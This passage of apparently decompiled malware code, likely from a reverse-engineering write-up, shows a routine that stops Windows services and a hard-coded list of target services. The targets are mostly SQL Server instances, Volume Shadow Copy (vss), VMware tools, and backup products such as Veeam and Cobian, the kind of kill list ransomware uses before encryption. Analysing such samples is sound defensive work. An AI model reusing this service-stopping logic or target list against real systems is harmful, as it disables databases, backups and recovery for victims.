&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;GetTickCount64()&nbsp;-&nbsp;TickCount64&nbsp;>&nbsp;*(a1&nbsp;+&nbsp;44)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;Buffer.dwCurrentState&nbsp;!=&nbsp;3&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_12;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
LABEL_12:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_140014E70(a1,&nbsp;&hService);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;hService;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;ControlService(hService,&nbsp;1u,&nbsp;&Buffer)&nbsp;&&&nbsp;Buffer.dwCurrentState&nbsp;!=&nbsp;1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(Buffer.dwWaitHint);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(&nbsp;QueryServiceStatusEx(v6,&nbsp;SC_STATUS_PROCESS_INFO,&nbsp;&Buffer,&nbsp;0x24u,&nbsp;&pcbBytesNeeded)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;Buffer.dwCurrentState&nbsp;!=&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;GetTickCount64()&nbsp;-&nbsp;TickCount64&nbsp;<=&nbsp;*(a1&nbsp;+&nbsp;44)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&&&nbsp;Buffer.dwCurrentState&nbsp;!=&nbsp;1&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(v6);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
}
.rdata:000000014005EA40&nbsp;off_14005EA40&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSiebelapplicat
.rdata:000000014005EA40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;DATA&nbsp;XREF:&nbsp;sub_14000A810+1F9↑o
.rdata:000000014005EA40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SiebelApplicationContainer_Siebel_Home_"...
.rdata:000000014005EA48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aReportserverSq&nbsp;;&nbsp;"ReportServer$SQLEXPRESS"
.rdata:000000014005EA50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlServerRepor&nbsp;;&nbsp;"SQL&nbsp;Server&nbsp;Reporting&nbsp;Services"
.rdata:000000014005EA58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlServerMssql&nbsp;;&nbsp;"SQL&nbsp;Server&nbsp;(MSSQLSERVER)"
.rdata:000000014005EA60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlfdlaunche&nbsp;;&nbsp;"MSSQLFDLauncher"
.rdata:000000014005EA68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlserveragent&nbsp;;&nbsp;"SQLSERVERAGENT"
.rdata:000000014005EA70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlbrowser&nbsp;&nbsp;&nbsp;;&nbsp;"SQLBrowser"
.rdata:000000014005EA78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqltelemetry&nbsp;;&nbsp;"SQLTELEMETRY"
.rdata:000000014005EA80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsdtsserver130&nbsp;;&nbsp;"MsDtsServer130"
.rdata:000000014005EA88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSsistasdry130&nbsp;;&nbsp;"SSISTasdRY130"
.rdata:000000014005EA90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlWolterskl&nbsp;;&nbsp;"MSSQL$WOLTERSKLUWER"
.rdata:000000014005EA98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlagentProgid&nbsp;;&nbsp;"SQLAgent$PROGID"
.rdata:000000014005EAA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlwriter&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SQLWriter"
.rdata:000000014005EAA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlVeeamsql2&nbsp;;&nbsp;"MSSQL$VEEAMSQL2012"
.rdata:000000014005EAB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlagentVeeams&nbsp;;&nbsp;"SQLAgent$VEEAMSQL2012"
.rdata:000000014005EAB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MSSQL"
.rdata:000000014005EAC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlagent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SQLAgent"
.rdata:000000014005EAC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlserveradh&nbsp;;&nbsp;"MSSQLServerADHelper100"
.rdata:000000014005EAD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlserverola&nbsp;;&nbsp;"MSSQLServerOLAPService"
.rdata:000000014005EAD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsdtsserver100&nbsp;;&nbsp;"MsDtsServer100"
.rdata:000000014005EAE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aReportserver&nbsp;;&nbsp;"ReportServer"
.rdata:000000014005EAE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqltelemetryHl&nbsp;;&nbsp;"SQLTELEMETRY$HL"
.rdata:000000014005EAF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTmbmserver&nbsp;&nbsp;&nbsp;;&nbsp;"TMBMServer"
.rdata:000000014005EAF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlProgid&nbsp;&nbsp;;&nbsp;"MSSQL$PROGID"
.rdata:000000014005EB00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aXt800servicePe&nbsp;;&nbsp;"XT800Service_Personal"
.rdata:000000014005EB08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAhsService&nbsp;&nbsp;&nbsp;;&nbsp;"AHS&nbsp;SERVICE"
.rdata:000000014005EB10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSenseShieldSer&nbsp;;&nbsp;"Sense&nbsp;Shield&nbsp;Service"
.rdata:000000014005EB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFontcache3000&nbsp;;&nbsp;"FontCache3.0.0.0"
.rdata:000000014005EB20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOspService&nbsp;&nbsp;&nbsp;;&nbsp;"OSP&nbsp;Service"
.rdata:000000014005EB28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDaserviceTcp&nbsp;;&nbsp;"DAService_TCP"
.rdata:000000014005EB30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEcardTtransser&nbsp;;&nbsp;"eCard-TTransServer"
.rdata:000000014005EB38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWanxiaoMonitor&nbsp;;&nbsp;"wanxiao-monitor"
.rdata:000000014005EB40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmAgent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"vm-agent"
.rdata:000000014005EB48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSyncbaseServic&nbsp;;&nbsp;"SyncBASE&nbsp;Service"
.rdata:000000014005EB50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFlashHelperSer&nbsp;;&nbsp;"Flash&nbsp;Helper&nbsp;Service"
.rdata:000000014005EB58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKiwiSyslogServ&nbsp;;&nbsp;"Kiwi&nbsp;Syslog&nbsp;Server"
.rdata:000000014005EB60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUwsHiprivServi&nbsp;;&nbsp;"UWS&nbsp;HiPriv&nbsp;Services"
.rdata:000000014005EB68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUwsLoprivServi&nbsp;;&nbsp;"UWS&nbsp;LoPriv&nbsp;Services"
.rdata:000000014005EB70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUtildevWebServ&nbsp;;&nbsp;"UtilDev&nbsp;Web&nbsp;Server&nbsp;Pro"
.rdata:000000014005EB78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZteUsbipClient&nbsp;;&nbsp;"ZTE&nbsp;USBIP&nbsp;Client&nbsp;Guard"
.rdata:000000014005EB80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZteUsbipClient_0&nbsp;;&nbsp;"ZTE&nbsp;USBIP&nbsp;Client"
.rdata:000000014005EB88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZteFiletrans&nbsp;;&nbsp;"ZTE&nbsp;FileTranS"
.rdata:000000014005EB90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZabbixAgent&nbsp;&nbsp;;&nbsp;"Zabbix&nbsp;Agent"
.rdata:000000014005EB98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEasyfzsServer&nbsp;;&nbsp;"EasyFZS&nbsp;Server"
.rdata:000000014005EBA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRpcMonitor&nbsp;&nbsp;&nbsp;;&nbsp;"Rpc&nbsp;Monitor"
.rdata:000000014005EBA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNuoUpdateMonit&nbsp;;&nbsp;"Nuo&nbsp;Update&nbsp;Monitor"
.rdata:000000014005EBB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aDaemonService&nbsp;;&nbsp;"Daemon&nbsp;Service"
.rdata:000000014005EBB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFlexnetLicensi&nbsp;;&nbsp;"FlexNet&nbsp;Licensing&nbsp;Service&nbsp;64"
.rdata:000000014005EBC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8workerservic&nbsp;;&nbsp;"U8WorkerService2"
.rdata:000000014005EBC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8mpool&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"U8MPool"
.rdata:000000014005EBD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8webpool&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"U8WebPool"
.rdata:000000014005EBD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8workerservic_0&nbsp;;&nbsp;"U8WorkerService1"
.rdata:000000014005EBE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTongbackupsrv&nbsp;;&nbsp;"TongBackupSrv"
.rdata:000000014005EBE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCbvscservice11&nbsp;;&nbsp;"cbVSCService11"
.rdata:000000014005EBF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCobianbackup11&nbsp;;&nbsp;"CobianBackup11"
.rdata:000000014005EBF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlserver&nbsp;&nbsp;;&nbsp;"MSSQLSERVER"
.rdata:000000014005EC00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssql_0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MSSQL$"
.rdata:000000014005EC08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"vss"
.rdata:000000014005EC10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmvss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"vmvss"
.rdata:000000014005EC18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlFeExpress&nbsp;;&nbsp;"MSSQL$FE_EXPRESS"
.rdata:000000014005EC20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlanysSageFas&nbsp;;&nbsp;"SQLANYs_Sage_FAS_Fixed_Assets"
.rdata:000000014005EC28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlVimSqlexp&nbsp;;&nbsp;"MSSQL$VIM_SQLEXP"
.rdata:000000014005EC30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aQcsoftservice&nbsp;;&nbsp;"QcSoftService"
.rdata:000000014005EC38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmtools&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"VMTools"
.rdata:000000014005EC40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVgauthservice&nbsp;;&nbsp;"VGAuthService"
.rdata:000000014005EC48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsdtc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MSDTC"
.rdata:000000014005EC50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTeamviewer&nbsp;&nbsp;&nbsp;;&nbsp;"TeamViewer"
.rdata:000000014005EC58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRabbitmq&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RabbitMQ"
.rdata:000000014005EC60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSsmonitorservi&nbsp;;&nbsp;"SSMonitorService"
.rdata:000000014005EC68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSssyncservice&nbsp;;&nbsp;"SSSyncService"
